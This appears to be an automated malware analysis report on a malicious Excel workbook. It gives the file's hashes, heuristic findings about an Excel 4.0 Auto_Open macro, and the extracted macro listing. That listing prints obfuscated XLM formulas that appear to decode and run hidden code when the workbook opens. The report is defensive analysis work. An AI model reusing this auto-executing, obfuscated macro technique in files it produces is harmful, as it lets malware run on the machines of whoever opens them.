Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ebb25819400d14b2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:41 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 447ba51dc37013662203e7c475e3c47e SHA-1: c5a8440d3e80dd4a689aadc5ee8129f517907dd5 SHA-256: ebb25819400d14b290d787cf045c1300c4b1a95cbbc2bc148ce8c223d7512900
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6731 bytes
SHA-256: a389afaf462a4bbabcf185fb2d685a983c7e75740e23b431b354eb07b6997e4b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WwroRx
' 0018     23 LABEL : Cell Value, String Constant - aQmKEdGz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I192 
' 0018     26 LABEL : Cell Value, String Constant - BGhUGbuRoqK len=0 
' 0018     25 LABEL : Cell Value, String Constant - casfCmJjPl len=0 
' 0018     22 LABEL : Cell Value, String Constant - CIySxGn len=0 
' 0018     20 LABEL : Cell Value, String Constant - cjpKr len=0 
' 0018     20 LABEL : Cell Value, String Constant - dEFOF len=0 
' 0018     26 LABEL : Cell Value, String Constant - GEtbhoEpagX len=0 
' 0018     23 LABEL : Cell Value, String Constant - iFcPiAVP len=0 
' 0018     23 LABEL : Cell Value, String Constant - jhjoCvzP len=0 
' 0018     20 LABEL : Cell Value, String Constant - krXgf len=0 
' 0018     27 LABEL : Cell Value, String Constant - poeKHeGlxQpB len=0 
' 0018     24 LABEL : Cell Value, String Constant - QiulJgISS len=0 
' 0018     27 LABEL : Cell Value, String Constant - RwBHOjrcuYtV len=0 
' 0018     23 LABEL : Cell Value, String Constant - UpcRUTiS len=0 
' 0018     25 LABEL : Cell Value, String Constant - URhMiKnWCK len=0 
' 0018     20 LABEL : Cell Value, String Constant - VCwqM len=0 
' 0018     22 LABEL : Cell Value, String Constant - vPloDJE len=0 
' 0018     22 LABEL : Cell Value, String Constant - WTTBFFY len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZBUWUvSNQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZRdsLhiMqyqT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WwroRx,P67,"",296.00000000000000000000
'  WwroRx,P68,"",-800.00000000000000000000
'  WwroRx,P69,"",759.00000000000000000000
'  WwroRx,P70,"",-451.00000000000000000000
'  WwroRx,P71,"",-377.00000000000000000000
'  WwroRx,P72,"",-325.00000000000000000000
'  WwroRx,I99,"SET.NAME("krXgf",0+VALUE("0"))",""
'  WwroRx,I101,"SET.NAME("URhMiKnWCK",krXgf)",""
'  WwroRx,I103,"SET.NAME("poeKHeGlxQpB",krXgf)",""
'  WwroRx,I105,"SET.NAME("BGhUGbuRoqK",COUNTA(RwBHOjrcuYtV))",""
'  WwroRx,I110,"SET.NAME("jhjoCvzP",COUNTA(GEtbhoEpagX))",""
'  WwroRx,I114,[],""
'  WwroRx,I116,"SET.NAME("VCwqM","")",""
'  WwroRx,I120,"URhMiKnWCK",""
'  WwroRx,I123,"SET.NAME("QiulJgISS",HLOOKUP("*",RwBHOjrcuYtV,URhMiKnWCK,FALSE))",""
'  WwroRx,I128,"ZRdsLhiMqyqT",""
'  WwroRx,I131,"SET.NAME("vPloDJE",krXgf)",""
'  WwroRx,I134,[],""
'  WwroRx,I138,"vPloDJE",""
'  WwroRx,I141,"iFcPiAVP",""
'  WwroRx,I144,"UpcRUTiS",""
'  WwroRx,I148,"cjpKr",""
'  WwroRx,I152,"SET.NAME("CIySxGn",VALUE(HLOOKUP("*",GEtbhoEpagX,cjpKr,FALSE)))",""
'  WwroRx,I154,"WTTBFFY",""
'  WwroRx,I159,"VCwqM",""
'  WwroRx,I164,"poeKHeGlxQpB",""
'  WwroRx,I166,NEXT(),""
'  WwroRx,I170,"ZBUWUvSNQ",""
'  WwroRx,I174,[],""
'  WwroRx,I179,"aQmKEdGz",""
'  WwroRx,I184,NEXT(),""
'  WwroRx,I187,RETURN(),""
'  WwroRx,I225,"SET.NAME("dEFOF",I99)",""
'  WwroRx,I227,"RwBHOjrcuYtV",""
'  WwroRx,I231,"SET.NAME("GEtbhoEpagX",R67C11)",""
'  WwroRx,I235,"SET.NAME("aQmKEdGz",240)",""
'  WwroRx,I237,"SET.NAME("casfCmJjPl",9)",""
'  WwroRx,I239,dEFOF(),""
'  WwroRx,I240,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.